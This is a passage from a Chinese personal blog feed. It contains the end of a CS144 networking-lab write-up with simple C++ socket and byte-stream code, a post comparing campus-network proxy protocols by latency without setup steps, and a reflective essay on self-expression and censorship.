&lt;li&gt;
&lt;p&gt;避免使用模板、线程、锁和虚函数。（你在 CS144 课程中不会需要使用这些。）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;避免使用 C 风格字符串（&lt;code&gt;char *str&lt;/code&gt;）或字符串函数（&lt;code&gt;strlen()&lt;/code&gt;、&lt;code&gt;strcpy()&lt;/code&gt;）。这些容易出错。请使用 &lt;code&gt;std::string&lt;/code&gt; 代替。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;永远不要&lt;/strong&gt; 使用 C 风格的类型转换（例如 &lt;code&gt;(FILE *)x&lt;/code&gt;）。如果必须转换，请使用 C++ &lt;code&gt;static_cast&lt;/code&gt;。（通常你在 CS144 课程中不会需要这个。）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;优先&lt;/strong&gt; 通过 &lt;code&gt;const&lt;/code&gt; 引用传递函数参数（例如：&lt;code&gt;const Address &amp;#x26; address&lt;/code&gt;）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;尽量&lt;/strong&gt; 将所有变量声明为 &lt;code&gt;const&lt;/code&gt;，除非它们需要被修改。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;尽量&lt;/strong&gt; 将所有方法声明为 &lt;code&gt;const&lt;/code&gt;，除非它们需要修改对象。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;避免全局变量，并尽可能缩小变量的作用域。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在提交作业之前，运行以下命令：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;cmake --build build --target tidy&lt;/code&gt; 以获取改进 C++ 代码的建议。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;cmake --build build --target format&lt;/code&gt; 以保持代码格式一致。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;实现 webget：&lt;/h3&gt;
&lt;p&gt;在做 cs144 之前我的套接字编程基础约等于 0 ，所以在做之前恶补了一下，我主要参考了以下的基础教程。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://beej.us/guide/bgnet/&quot;&gt;Beej&apos;s Guide to Network Programming&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://hansimov.gitbook.io/csapp&quot;&gt;csapp 中的网络编程部分&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;其实网络编程看完一些基础就差不多可以了，主要是 cpp 中的一些特性和语法看起来还有些麻烦。&lt;/p&gt;
&lt;p&gt;在实现之前，我们需要阅读 util 中封装好的 Socket 类。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c++&quot;&gt;Socket (基类)
├── DatagramSocket
│   ├── UDPSocket 
│   ├── PacketSocket
│   └── LocalDatagramSocket
└── TCPSocket
    └── LocalStreamSocket

封装的函数:
- bind(): 绑定地址
- connect(): 连接到对端
- shutdown(): 关闭连接
- local_address(): 获取本地地址 
- peer_address(): 获取对端地址
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同时查看对应封装的接口：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c++&quot;&gt;class Socket : public FileDescriptor {
    void bind(const Address&amp;#x26; address);
    void connect(const Address&amp;#x26; address);
    void listen(int backlog);
    // ...
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;主要是继承了 Socket 类的 TcpSocket 和 UdpSocket  需要仔细查看。&lt;/p&gt;
&lt;p&gt;接下来开始编写。只要掌握了基本的读写应该就没问题。（就算有问题多问问 ai 就没问题了：)&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c++&quot;&gt;void get_URL( const string&amp;#x26; host, const string&amp;#x26; path )
{
  cerr &amp;#x3C;&amp;#x3C; &quot;Function called: get_URL(&quot; &amp;#x3C;&amp;#x3C; host &amp;#x3C;&amp;#x3C; &quot;, &quot; &amp;#x3C;&amp;#x3C; path &amp;#x3C;&amp;#x3C; &quot;)\n&quot;;
  cerr &amp;#x3C;&amp;#x3C; &quot;Warning: get_URL() has not been implemented yet.\n&quot;;
  TCPSocket socket;
  Address address( host, &quot;http&quot;);
  socket.connect( address );
  socket.write( &quot;GET &quot; + path + &quot; HTTP/1.1\r\n&quot;);
  socket.write( &quot;Host: &quot; + host + &quot;\r\n&quot;);
  socket.write( &quot;Connection: close\r\n&quot;);
  socket.write( &quot;\r\n&quot;);
  while(true){
    string buffer;
    socket.read( buffer );
    std::cout&amp;#x3C;&amp;#x3C;buffer;
    if(buffer.empty()){
      break;
    }
  }
  socket.shutdown(SHUT_RDWR);
  socket.close();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到成功运行了。需要注意的是，&lt;strong&gt;不要忘了 GET 和 Host 后面都有空格&lt;/strong&gt;（因为这个第一次还错了...)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/03/webget.png&quot; alt=&quot;webget&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;实现内存可靠的字节流：&lt;/h2&gt;
&lt;p&gt;这里本质上就是实现一个队列而已，但是这个队列应该尽量做到效率高。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;要明确：字节流是有限的，但在写入者结束输入并完成流之前，它可以几乎是任意长的。您的实现必须能够处理比容量大得多的流。容量限制了在特定时刻内存中保留的字节数（已写入但尚未读取的字节数），但并不限制流的长度。即使一个只有一字节容量的对象，也能携带长达数以千计的流，只要写入者每次只写入一个字节，并且读者在写入者被允许写入下一个字节之前读取每个字节。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在类中添加一些方便统计的变量:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c++&quot;&gt;protected:
  // Please add any additional state to the ByteStream here, and not to the Writer and Reader interfaces.
  uint64_t capacity_;
  bool error_ {};
  std:: string buffer_; //存储
  bool closed_ { false };//检查状态，相当于多封装一层
  uint64_t pushed_count_ {0};//统计已写的
  uint64_t popped_count_ {0};//统计弹出的
  bool is_stream_closed() const { return closed_; }//封装 close 的检查，便于 writer 和 reader 调用
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;具体的实现：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c++&quot;&gt;#include &quot;byte_stream.hh&quot;

using namespace std;

ByteStream::ByteStream( uint64_t capacity ) 
    : capacity_( capacity ) 
    , error_( false )
    , buffer_()
    , closed_( false )
    , pushed_count_( 0 )
    , popped_count_( 0 ) 
{}

void Writer::push( string data )
{
  if ( is_closed() ) {
    return;
  }

  size_t available = available_capacity();
  if ( data.size() &gt; available ) {
    data = data.substr( 0, available );
  }
  buffer_ += data;
  pushed_count_ += data.size();
  //(void)data; // Your code here.
}

void Writer::close()
{
  // Your code here.
  closed_ = true; // 关闭直接将刚才设计的成员变量关掉即可
  return;
}

bool Writer::is_closed() const
{
  return closed_; // Your code here.
}

uint64_t Writer::available_capacity() const
{

  return capacity_ - buffer_.size(); // Your code here.
}

uint64_t Writer::bytes_pushed() const
{

  return pushed_count_; // Your code here.
}

string_view Reader::peek() const
{
  string_view view( buffer_ );
  return view; // Your code here.
}

void Reader::pop( uint64_t len )
{
  len = min( len, buffer_.size() ); // 确保不超过当前缓冲区的大小
  buffer_ = buffer_.substr( len );
  popped_count_ += len;
  //(void)len; // Your code here.
  return;
}

bool Reader::is_finished() const
{
  return is_stream_closed() &amp;#x26;&amp;#x26; buffer_.empty(); // Your code here.
}

uint64_t Reader::bytes_buffered() const
{
  return buffer_.size(); // Your code here.
}

uint64_t Reader::bytes_popped() const
{
  return popped_count_; // Your code here.
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于本身封装已经很好了，基本上只是作一些简单的调用，主要是理解类中的成员变量（其实对于没怎么正经写过 oop 的人来说还挺新奇）。&lt;/p&gt;
&lt;p&gt;尝试运行，可以看到运行的很成功，t_webget 很慢可能是因为我没有设置网络(?。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/03/lab0.png&quot; alt=&quot;lab0&quot;&gt;&lt;/p&gt;
&lt;p&gt;(终端设置代理后就降到了 1.6 s 左右，基本正常了，唉，网络...)&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;写 cs144 对于我来说属于一个新奇的挑战，因为其实从来没有认认真真写过 oop，上一个还是图书管理系统......并且在套接字基础约等于 0 的情况下一开始看起来是很劝退的。支持我做下去的其实是 ai。最近一直有在思考，ai 时代下，该怎么去写代码。目前得出来的答案是：让自己懂大致的框架即可。当中低端的代码 ai 都可以轻松实现时，大体的架构更为重要，编程更接近搭积木了，我们更应该在乎的是如何去搭，而不是积木本身。&lt;/p&gt;
&lt;p&gt;或者更简单一点的理由——做的过程中总能慢慢学到一些东西，更何况还有一个无比耐心的老师陪着你，所以只需要告诉自己：just do  it。&lt;/p&gt;</content:encoded><category>cs144</category></item><item><title>HNU 校园上网指南</title><link>https://cry4o4n0tfound.cn/blog/hnu-%E6%A0%A1%E5%9B%AD%E4%B8%8A%E7%BD%91%E6%8C%87%E5%8D%97/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/hnu-%E6%A0%A1%E5%9B%AD%E4%B8%8A%E7%BD%91%E6%8C%87%E5%8D%97/</guid><pubDate>Sun, 23 Mar 2025 08:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;前言：&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;本篇由我的第二次计算机网络作业衍生而来，由于对网络知识有所欠缺，可能会出现一定的错误，还请多多包涵，就当看个乐呵。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/03/network.png&quot; alt=&quot;愉快上网(&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;最基本的分析：&lt;/h2&gt;
&lt;p&gt;HNU 的校园网我们可以将其划分成几个部分——其实就是几个教学区和生活区。虽然它们的 ssid 是相同的，不过很显然，覆盖的范围就那么点，以至于走一段路，你实际上就换到了另一个路由器范围内，并且路上信号也不怎么好...&lt;/p&gt;
&lt;p&gt;于是我们可以在不同区域测定该区域的公网出口运营商，可以得到如下结果：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;宿舍：移动（至少我的宿舍是）
综合楼/院楼/研楼：电信
复临舍：大概是电信
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以我们可以得到一个非常简易的网络拓扑图：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;宿舍区（移动出口）
     ↘
      NAT设备 → 校内各自的主路由器 → 运营商骨干网
     ↗
综合楼（电信出口）
院楼/研楼（电信出口）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;s&gt;同时我们还可以知道校内的 dns 服务器（虽然这并不是很重要，只需要知道把他们换成稳定的教育网 dns 服务器即可，因为教育网 dns 一般污染不会太严重，当然肯定还是会有污染）。&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;为什么需要知道是哪家运营商呢?因为不同的运营商对于某些服务的态度不同...比如电信（这里应该是学校路由器特殊的配置，我怀疑配置了奇怪的 iptable 规则)，在综合楼/研楼这些位置，如果你需要访问套了 Cloudflare cdn 的服务（比如本站），那么很遗憾，它会把你的包都给拦截下来，根本访问不了。&lt;/p&gt;
&lt;p&gt;在 gfw 高度敏感的当下，我们一般都会选择可以套运营商 cdn 的协议，用来防止 ip 被墙。即使 ip 被墙，套用 cdn 的服务器也可以重振旗鼓。虽然国内类似于 cloudflare 分到的 cdn 大多都是些残次品，但我们还是可以通过优选 ip 的方式来稍微提速的，毕竟，服务器的隐蔽比一丢丢网速的提升还是重要多了，大多数 vps 商家换 ip 服务可不是免费的（一次 3$，心痛😭）。&lt;/p&gt;
&lt;p&gt;以及尽量选择在每个地方都能用的协议。&lt;/p&gt;
&lt;h2&gt;协议对比与选择：&lt;/h2&gt;
&lt;p&gt;我的上网环境在宿舍居多（寝室甚至像我的单人网吧😂），而宿舍校园网的出口是移动，移动对于 cf 的 cdn 就比较友好，所以以下套用的 cdn 均为 cf 家的。估计 gcore 以及 amazon 家的免费额度也足够用。需要注意的是，cloudflare 的 cdn 都是随机分配的，由于众所周知的原因，cf 家在大陆似乎除企业外并没有直接的 cdn 服务器，所以套了 cdn 如果不是香港的话很大概率是减速作用。&lt;/p&gt;
&lt;h3&gt;关于 vps:&lt;/h3&gt;
&lt;p&gt;我是白嫖的微软的 azure 学生服务，在选择虚拟机时选择 east asia 基本稳定可以得到香港的 vps，因为 azure 的云服务器就在那边，这样可以做到延迟最低。不过白嫖的过程非常曲折，最开始用教育网邮箱显示没有注册资格，发了几次申诉后才成功。（结果在我完善这篇文章时又发了一封过来，告诉我我其实没有资格，但是我都注册成功了？反正最后没收回去就对了，神奇的微软。）&lt;/p&gt;
&lt;p&gt;由于 100 刀的额度只支持小鸡服务器运行大概300天左右，基本上服务器就只有这一个用途，&lt;strong&gt;另外还有一点需要注意的是，如果你对访问 gpt 有所需求，建议还是选用日本或韩国的 azure，这样比较方便，closeai 不支持大陆和港澳服务&lt;/strong&gt;。不过如果爱折腾的话其实搞个二级代理去访问或者 dns 劫持来访问也是可以的（实际上平时机场用的香港节点能访问 gpt 就是这样干的），毕竟 hk 服务器确实是在学校延迟最低的选择了。&lt;/p&gt;
&lt;p&gt;如果对网络延迟要求不高的话可以考虑 cloudcone 的服务器，据说它们家偶尔还能走 cn2gia 线路，并且便宜，3核2g 的服务器也就百来块出头。&lt;/p&gt;
&lt;p&gt;至于 vultr，它的 ip 段基本被 gfw 全线拉黑了（甚至还被奈飞拉黑...)，我一般都是拿它来试验一下，测测速什么的，毕竟注册绑定有免费额度，而且随删随用很方便，&lt;s&gt;学习效率高&lt;/s&gt;。&lt;/p&gt;
&lt;p&gt;其余的一些 vps 服务器我有看过测评，但是由于自己没有买过也不敢肯定，有兴趣可以多上网看看，一般这种推荐都比较多。&lt;/p&gt;
&lt;p&gt;当然，如果经济实力雄厚，直接搬瓦工的 hk 走 cn2gia 线路的服务器也不是不可以，看了一眼，大概也就一季度 50 $。&lt;/p&gt;
&lt;h3&gt;协议&lt;/h3&gt;
&lt;p&gt;由于协议太多，我并没有一一尝试，只尝试了近几年诞生的新协议，然后做了一些基本的测速。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;请注意，以下协议基本都是 xray 内核，不支持 tun 模式。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;鉴于本站是 cn 域名并且有 icp 备案，&lt;strong&gt;而我本人作为一个遵纪守法的好公民&lt;/strong&gt;，所以——&lt;strong&gt;以下不涉及任何搭建教程以及指导，只提供对应思路测评或者优化方案，对应的搭建教程网上已经很丰富了。&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;1、vmess+ws 103ms&lt;/h4&gt;
&lt;p&gt;vmess + ws 在最近几年备受推崇，ws 模拟普通访问流量的能力确实不错（毕竟类似的协议基本都是谁更像正常的 http 流量谁就更吃香）。&lt;/p&gt;
&lt;p&gt;然而到了今天，搭建一个最简单的vmess+ws，在我写这篇文章的第二天端口就被封了...并且尝试在使用另外的端口重新搭建时被秒封，吓得我连忙收手，怕 gfw 直接给我封 ip 了，所以非常不建议以最简单的搭建方式使用，建议做好一些中转策略。&lt;strong&gt;我怀疑 vmess 的流量已经能被 gfw 识别了，建议换一些加密性更好的协议。&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;2、xhttp+reality 65ms&lt;/h4&gt;
&lt;p&gt;reality 是最近一年左右兴起的协议。与 vmess+ws 通过 WebSocket 伪装流量不同，REALITY 直接利用目标网站的 TLS 连接，服务器端无需自己配置 TLS 证书或域名。对于没有域名来说搭建起来非常方便，安全性也不错，&lt;strong&gt;重点是适用于校园整个区域，&lt;/strong&gt; 推荐。&lt;/p&gt;
&lt;h4&gt;3、xhttp+tls+cdn+上下行分离 68ms&lt;/h4&gt;
&lt;p&gt;&lt;em&gt;XHTTP 是 Xray 项目中 SplitHTTP 的进化版，旨在实现更灵活的流量分离。它允许将上行（客户端到服务器）和下行（服务器到客户端）数据通过不同的网络路径传输。这种上下行分离的设计可以结合 CDN（内容分发网络）或其他代理技术，进一步提升隐蔽性和性能。&lt;/em&gt;	这也是我目前主要使用的协议。因为最开始购买的服务器是 ip 段被封的服务器，只有在套了 cdn 的情况下才能正常使用。上下行分离的做法使得藏在 cdn 背后的服务器更加安全。并且也相对稳定，&lt;strong&gt;值得注意的是 cdn 也很可能成为减速器，得查询你分配的 cdn 是否在香港等就近区域，由于众所周知的原因，国内个人用户是体验不到 cloudflare 的境内服务器的。&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;简单找了个 8k 测了下速，刚好截到峰值，基本上可以跑满校园网带宽（虽然有我早上6点睡不着爬起来测速的成分在，但是晚高峰时期也挺快的。），对于最近不打游戏的我来说已经是绰绰有余了，实现视频自由，并且基于 azure 的服务器基本是 0 成本😂，非常经济实惠。&lt;/p&gt;
&lt;p&gt;缺点就是套了 cloudflare cdn，只要一进综合楼等电信网段立马失联。不过我是资深宿舍用户，基本不用考虑这些😎。没有尝试过其它 cdn 服务，不知道综合楼还有没有配置奇怪的规则。在这里再次感谢赛博菩萨 cloudflare。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/03/%E6%B5%8B%E9%80%9F.png&quot; alt=&quot;测速&quot;&gt;&lt;/p&gt;
&lt;p&gt;同时也用 speedtest 测了下，在校园网情况下算得上不错~&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/03/%E6%B5%8B%E9%80%9F2.png&quot; alt=&quot;测速2&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;一些其它有关校园网的有意思做法：&lt;/h2&gt;
&lt;p&gt;节选了一些我在上网过程中查询的，主要是 hnu 前辈们做的测试以及实践。本篇讲的粗浅也是因为前人已经实践出了很多东西。&lt;s&gt;所以贴上这些链接我就不用继续写了，虽然可能以后会照着去尝试&lt;/s&gt;。&lt;/p&gt;
&lt;h3&gt;hnu：&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://hiripple.com/archives/1812&quot;&gt;Ripple 学长关于线路的测评&lt;/a&gt;，比较详细，但是里面似乎说的联通出口与我对不太上，可能是宿舍区段问题（？&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://hiripple.com/archives/1786&quot;&gt;Ripple 学长关于 hysteria 的测评&lt;/a&gt;，著名流氓协议，与 bbr 算法坐一桌，可惜依旧败在了 hnu 校园网上。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://hiripple.com/archives/236&quot;&gt;Ripple 学长关于无线桥接校园网测试&lt;/a&gt;，这里估计我之后还会回来看，因为我的 nanopir2s 上周刷好了固件但一直懒得去配置😂，人在上网环境已经不错的情况下就是会少了追求...&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://cyp0633.icu/post/hnu-ipv6-bypass-billing-2/&quot;&gt;cyp 学长的 ipv6 免流教程&lt;/a&gt;，cyp 学长可谓是我的校园网导师，虽然我学艺不精，网络知识欠缺，但还是学到了不少知识，从最开始连各种名词都看不懂，到现在基本流畅阅读，也算是蛮大进步吧，推荐阅读他的其它网络折腾教程。&lt;/p&gt;
&lt;h3&gt;校外：&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://zu1k.com/posts/tutorials/campus-network-speed-overlay/&quot;&gt;z 佬的多负载&lt;/a&gt;，但是是在山东大学，并不确定是否在 hnu 可行，也许我在不久的将来会实操一下🤔。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/qq_41797946/article/details/89417722&quot;&gt;深澜协议解析&lt;/a&gt;，看完这篇可以对校园网的认证流程有个大致了解，为折腾软路由奠定良好的基础。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.right.com.cn/forum/&quot;&gt;恩山无线网络论坛&lt;/a&gt;，与吾爱破解一个风格的论坛，里面的老哥们对于路由有着很深的理解。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.skk.moe/post/which-public-dns-to-use/&quot;&gt;dns 指南&lt;/a&gt;，由于校内 dns 服务器会时不时抽风，建议换成别的，这里讲的很清楚，博主本身对网络也有很深的研究，推荐阅读。&lt;/p&gt;
&lt;p&gt;不良林。这条没有链接，有需求去某红色软件搜索即可，通俗易懂深入浅出，我的计网入门老师。&lt;/p&gt;
&lt;p&gt;&lt;div class=&quot;media-card bilibili-card my-6 rounded-xl border border-zinc-200 dark:border-zinc-800/60 bg-white dark:bg-zinc-900/50 overflow-hidden transition-all duration-200 hover:border-pencil/40 dark:hover:border-pencil-light/40 cursor-pointer&quot; data-media-url=&quot;https://www.bilibili.com/video/BV1Z54y1b7t1/?spm_id_from=333.337.search-card.all.click&amp;#x26;vd_source=11016d6c0ccb83ca51f0af92156c54a1&quot;&gt;&lt;div class=&quot;relative w-full&quot; style=&quot;padding-bottom: 56.25%;&quot;&gt;&lt;iframe src=&quot;https://player.bilibili.com/player.html?bvid=BV1Z54y1b7t1&amp;#x26;page=1&amp;#x26;high_quality=1&amp;#x26;autoplay=0&quot; class=&quot;absolute top-0 left-0 w-full h-full&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot; scrolling=&quot;no&quot; style=&quot;border: none;&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;讲的非常好，我的 iptable 入门导师，虽然现在大多开始转向 nftable 的使用，但里面的一些知识依旧非常实用且有趣，有利于配置路由器的流量进出规则，同时不得不感叹 tuna 的实力强悍，相较之下，hnu 的社团已经快死光了🙃（虽然 tuna 本来就不是 hnu 能碰瓷的。）&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;总结：&lt;/h2&gt;
&lt;p&gt;在校园网内舒适的上网环境免不了折腾，折腾来折腾去能学到不少有趣的计网知识，还能让自己的上网舒服很多。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;生命在于折腾。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;就这样，一篇零零散散的阶段性校园网折腾总结（其实是凌晨 4 点醒了睡不着干脆起来记一记）。&lt;/p&gt;</content:encoded><category>随想录</category></item><item><title>表达与自由</title><link>https://cry4o4n0tfound.cn/blog/%E8%A1%A8%E8%BE%BE%E4%B8%8E%E8%87%AA%E7%94%B1/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/%E8%A1%A8%E8%BE%BE%E4%B8%8E%E8%87%AA%E7%94%B1/</guid><pubDate>Sat, 15 Mar 2025 20:30:00 GMT</pubDate><content:encoded>&lt;h2&gt;前言：&lt;/h2&gt;
&lt;p&gt;前几天，肖老师在计网课上讲到 P2P 和 C/S 架构的区别时，沉默了一会儿，然后继续说道：“其实，我们这些研究通信的人都希望 P2P 能成为主要的通信方式，这样每个人都能掌控自己的隐私与自由。可现实是，人们虽然享受着随时随地访问网站的便利，却不得不将数据和隐私拱手让给互联网服务商。互联网的初衷，本该是自由的。”&lt;/p&gt;
&lt;p&gt;这让我想起最近在学的 CS144，以及斯坦福校徽上的那句校训：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「Die Luft der Freiheit weht.」——“自由的风在吹。”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;遗憾的是，自由的风似乎并未吹向我。&lt;/p&gt;
&lt;p&gt;也许我还能在这里自由地表达，但事实是，我并不真正拥有表达的自由——即使这是我的博客。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;表达与自由：&lt;/h2&gt;
&lt;p&gt;我发现自己越来越不愿意表达了。&lt;/p&gt;
&lt;p&gt;回顾过去几年，我在社交软件上的动态数量呈断崖式下降。QQ 空间的说说、微信朋友圈的更新越来越少，直到去年底，我干脆关闭了朋友圈，QQ 空间也不怎么再浏览。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;表面上，我似乎与人交流很多，但从未真正讨论过自己关心的事情；我经常向人求助，却在遇到真正的难题时选择独自消化；我没有什么伤心事，却总觉得自己忧国忧民、心怀天下；我看了很多，思考了很多，却不再表达，而是通过阅读去寻求认同感；我渐渐远离熟人社交，转向匿名化的平台发表想法……&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;在别人的博客上看到的这段话，大概是对我现状的最佳诠释。&lt;/p&gt;
&lt;p&gt;究其原因，大概是我失去了表达的动力。&lt;/p&gt;
&lt;p&gt;知乎上有句话：“我们不断表达、不断分享，是一种筛选——筛选出相似的灵魂。如果不愿表达和分享了，只有两种可能：要么我已不抱希望，要么我已经找到了。”但我既没找到，也未至于绝望，这是一种很奇怪的状态&lt;/p&gt;
&lt;p&gt;我曾记录下另一种观点：&lt;/p&gt;
&lt;p&gt;&lt;em&gt;大多数时候，我们表达是为了输出自己的观点，至少希望得到某种认同。但随着了解的东西和与他人的交流越来越多，这无可避免地给我带来了一种悲观甚至堪称冷漠的心态。比如，我仿佛越来越不在乎其他人了，因为人们终归是没办法相互理解的。他们有他们喜欢某事某物的理由，他们有他们的思维模式，而我也有我的素养与坚持。我叫不醒他们的“无知”，而他们也同样以怜悯轻蔑的眼神看着我。我们可以求同存异，但仿佛永远无法去接近对方，去真正理解对方要说什么。四周都是可悲的厚障壁，太多太多的甚至连正常去理解别人的话的能力都没有，遑论正常交流，求同存异，共同进步。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;这种深深的无力感让我几乎没有动力改变任何人，甚至去表达自我的观点。毕竟，我们都只是人而已。他们绝不低端，而我也不高尚。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;另一方面，我表达欲的减少可能源自于害怕。&lt;/p&gt;
&lt;p&gt;我害怕自己说得太浅显，被人耻笑。过去曾有人说我幼稚，从那以后，我开始减少不必要的表达。这或许是一种刻意的克制，甚至是故作深沉，但确实有效——毕竟，不表达，就不会显得幼稚。&lt;/p&gt;
&lt;p&gt;我害怕自己的表达毫无意义。就像写作时的字斟句酌，我害怕自己的措辞不够精准，不够恰当，于是干脆不写。同样的，我在博客上也很少写技术性文章，因为互联网上已经有太多优秀的内容，而我的认知水平有限，写出来的东西大概只能给自己看。&lt;/p&gt;
&lt;p&gt;我害怕我的表达不被喜欢。高中时，我的班主任曾说我“怼天怼地怼空气”，当时我一笑置之，仍怀有少年意气。可如今，意气逐渐消磨，我开始意识到，有些话确实不合时宜。我也曾和一位女性朋友讨论女权，当我毫无保留地表达了自己的想法后，结果就是连朋友都做不成了，所以三观大概是不能轻易表达的。&lt;/p&gt;
&lt;p&gt;我害怕自己的表达会带来危险。这也是我之前提到的——我并没有真正的表达自由。写下这些文字时，我不禁思考，未来某天，这些话会不会成为我的“罪证”。类似的事情，我在历史上见过，叫“文字狱”。如今，言论自由被困在概念之中，各种平台的审查机制让我对发表观点感到厌倦。毕竟，这世上从未真正存在过“言论自由”。&lt;/p&gt;
&lt;p&gt;当然，表达欲的减少似乎不止发生在我身上。我发现，身边的很多人也在逐渐减少社交平台上的发布与分享，仿佛应验了那句——“越长大，越孤独”。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;“你永远不可能真正了解一个人，除非你穿上他的鞋子，走一段他的路。” ——《杀死一只知更鸟》&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;也许，当真正意识到这一点后，反而会变得轻松。因为你知道，没有人能真正理解你，于是你可以随意展现一个自己，甚至重新获得表达的勇气。只是，害怕的东西太多，受到的束缚太多，表达的自由太少，最终，我成了沉默的大多数。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「Die Luft der Freiheit weht.」——“自由的风在吹。”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;也许，只有当自由之风真正拂过脸庞的那一天，我才会再次拥有表达的勇气吧。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;如你所见，这并不是一篇很有条理的文章。它仅仅是我内心的小小映射。人只有在真正面对自己内心时才会有勇气去改变，我仅仅想以此来正视我本身。就像这张图一样，我可能现在正处于愚昧山峰之中。也正因此，我觉得我需要思考与改变。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/03/talkandfree.png&quot; alt=&quot;思考与智慧&quot;&gt;&lt;/p&gt;</content:encoded><category>随想录</category></item><item><title>Memos 7:-为什么要写博客</title><link>https://cry4o4n0tfound.cn/blog/memos-7-%E4%B8%BA%E4%BB%80%E4%B9%88%E8%A6%81%E5%86%99%E5%8D%9A%E5%AE%A2/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/memos-7-%E4%B8%BA%E4%BB%80%E4%B9%88%E8%A6%81%E5%86%99%E5%8D%9A%E5%AE%A2/</guid><pubDate>Sun, 02 Mar 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;为什么要写博客：&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;人生是一连串的刹那。&lt;/p&gt;
&lt;/blockquote&gt;
